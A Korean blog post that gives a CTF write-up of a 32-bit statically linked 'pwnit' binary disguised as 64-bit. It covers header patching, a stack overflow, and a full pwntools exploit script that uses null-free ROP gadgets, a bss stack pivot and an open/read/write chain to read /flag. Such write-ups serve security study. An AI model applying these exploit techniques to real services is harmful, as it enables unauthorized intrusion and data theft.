64비트 바이너리인데 헤더 사이즈가 이상하다고 한다. 디버깅, 디컴파일 또한 되지 않았다
Readelf 명령어를 통해 보니 프로그램 헤더가 비어 있었다. 또한 엔트리 포인트도 이상했다.
그런데 엔트포인트 뒤에서 0x805912a가 보였다. 따라서 32비트 파일을 64비트 파일로 강제로 바꿔놓은 것이 아닌가 생각이 들었다.
따라서 32비트 64비트를 구별히주는 elf 5번째 핵스값을 2에서 1로 패치해 32비트 바이너리로 만들어 주었다.
바꿔준 결과 헤더들이 정상적으로 돌아온 것을 확인할 수 있었다.
이제 본격적으로 바이너리를 분석할 수 있다.
32비트 정적으로 컴파일된 파일이었고 보호기법은 nx만 걸려져 있었다.
정적 컴파일이기 때문에 실행시켰을때 나오는 문자열로 main을 찾아 들어갔다.
바로 출력되는 문자열은 찾았으나 그 계속 찾아도 그 뒤 바로 이어지는 read를 받는 함수를 찾기 어려웠다.
그래서 함수 끝으로 가서 디버깅 해보았다.
ret를 해도 코드 바로 밑으로 가는 것을 볼 수 있었다.
밑부분 코드들은 아이다에서 함수 끝부분을 ret로 인식하기 때문에 디컴파일이 안되었던 것이었다.
그래서 어차피 바로 밑으로 가므로 아이다에서 ret를 nop으로 패치하고 함수 끝부분을 늘려 주었다.
그 결과 디컴파일이 되었다. (사실 디컴파일을 안하고 디어셈을 해서 풀어도 된다.)
디컴파일된 소스를 보면 read를 받아 주어진 주건을 만족시키면 밑에서 문자열을 복사시켜준다.
89바이트만큼 read를 받지만 ebp-0x18부터 복사를 해주어 대락 60바이트정도 오버플로우가 난다.
바로 위에 보이듯 chroot로 문제 디렉토리가 루트폴더로 바뀌어있고 /flag 또한 박혀 있으므로 open read write를 하여 플래그를 가지고 오면 된다.
하지만 문제가 하나 있다. 위 코드에 if (!result) 때문에 null을 입력하면 복사가 되지 않는다. 따라서 null 없이 payload를 짜야 된다.
null이 없으면 파일 디스크립터를 제대로 넣어줄 수가 없다.
따라서 가젯으로 system call read를 호출하여 bss에 open read write를 써주고 스택 피벗을 하여 bss 영역으로 점프해서 open read write를 호출했다.
payload
# usr/bin/env python # ryuuu from pwn import * import sys flag = 0x08128354 elf = ELF("./pwnit_patch") #s = process("./pwnit") #s = process(["strace","-i","./pwnit"]) s = remote("nc addr",port) open_addr = 0x080E79E0 read_addr = 0x80E7A50 write_addr = 0x080E7B02 exit_addr = 0x80AF9E0 pop3ret = 0x8048505 int_80 = 0x080492ca # int 0x80 pedx = 0x080e9f8a # pop edx ; ret pebx = 0x080481f1 # pop ebx ; ret pecbx = 0x080e9fb1 # pop ecx ; pop ebx ; ret peax = 0x080a5086 # pop eax ; ret leave_ret = 0x08049188 # leave ; ret mov_3 = 0x0806e354 # mov eax, 3 ; ret int_80_ret = 0x080EA770 sleep(3) payload = "02044" payload += "A"*19 payload += p32(0x08177840) # bss addr payload += p32(0x080e9fb1) # pop ecx ; pop ebx ; ret payload += p32(0x08177840) # bss addr payload += p32(0x11111111) payload += p32(0x080d18a0) # pop ebx ; xor eax, eax ; ret payload += p32(0x11111111) payload += p32(0x0805cdb9) # xchg eax, ebx ; ret payload += p32(mov_3) payload += p32(pedx) payload += p32(0x10101010) payload += p32(int_80) payload += p32(leave_ret) s.sendlineafter("g : ",payload) payload2 = p32(0x41414141) payload2 += p32(open_addr) payload2 += p32(pop3ret) payload2 += p32(flag) payload2 += p32(0x0) payload2 += "0644" payload2 += p32(read_addr) payload2 += p32(pop3ret) payload2 += p32(3) payload2 += p32(0x0817793A) # bss_addr payload2 += p32(0x50) payload2 += p32(write_addr) payload2 += p32(exit_addr) payload2 += p32(0x1) payload2 += p32(0x0817793A) payload2 += p32(0x50) s.sendline(payload2) s.interactive()
'pwnable > ctf' 카테고리의 다른 글
[write-up] 2017 white_league-start (0) | 2018.02.05 |
---|---|
[write-up]Codegate 2017 babypwn (1) | 2018.01.31 |
[write-up] 2015 defcon - r0pbaby (0) | 2018.01.28 |
[write-up] 2017 samsung ctf - msg (4) | 2018.01.28 |
[write-up] 2017 twctf - swap (0) | 2018.01.28 |
댓글